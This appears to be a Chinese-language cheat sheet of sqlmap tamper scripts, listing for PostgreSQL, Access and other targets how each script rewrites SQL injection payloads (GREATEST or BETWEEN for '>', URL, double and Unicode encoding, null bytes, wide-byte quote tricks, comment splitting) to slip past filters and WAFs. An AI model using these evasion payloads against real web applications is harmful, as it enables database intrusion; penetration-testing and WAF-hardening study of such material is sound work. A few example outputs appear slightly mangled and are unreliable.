PostgreSQL | 1 | greatest.py | 绕过过滤’>’ ,用GREATEST替换大于号。 | ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' |
2 | apostrophenullencode.py | 绕过过滤双引号,替换字符和双引号。 | tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' | |
3 | between.py | 用between替换大于号(>) | ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--' | |
4 | percentage.py | asp允许每个字符前面添加一个%号 | * Input: SELECT FIELD FROM TABLE * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E | |
5 | charencode.py | url编码 | * Input: SELECT FIELD FROM%20TABLE * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45 | |
6 | randomcase.py | 随机大小写 | * Input: INSERT * Output: InsERt | |
7 | charunicodeencode.py | 字符串 unicode 编码 | * Input: SELECT FIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′ | |
8 | space2comment.py | Replaces space character (‘ ‘) with comments ‘/**/’ | * Input: SELECT id FROM users * Output: SELECT//id//FROM/**/users | |
Access | 1 | appendnullbyte.py | 在有效负荷结束位置加载零字节字符编码 | ('1 AND 1=1') '1 AND 1=1%00' |
其他 | chardoubleencode.py | 双url编码(不处理以编码的) | * Input: SELECT FIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545 | |
unmagicquotes.py | 宽字符绕过 GPC addslashes | * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20 | ||
randomcomments.py | 用/**/分割sql关键字 | ‘INSERT’ becomes ‘IN//S//ERT’ |
如果web应用使用asp/asp.net开发,charunicodeencode.py和percentage.py可以帮助你逃避Waf的检测。有意思的是,asp允许在字符之间使用多个%号间隔,比如 AND 1=%%%%%%%%1 是合法的!
这里有很多部分已经不记得是哪位大佬写的了,就不能一一标注,十分抱歉......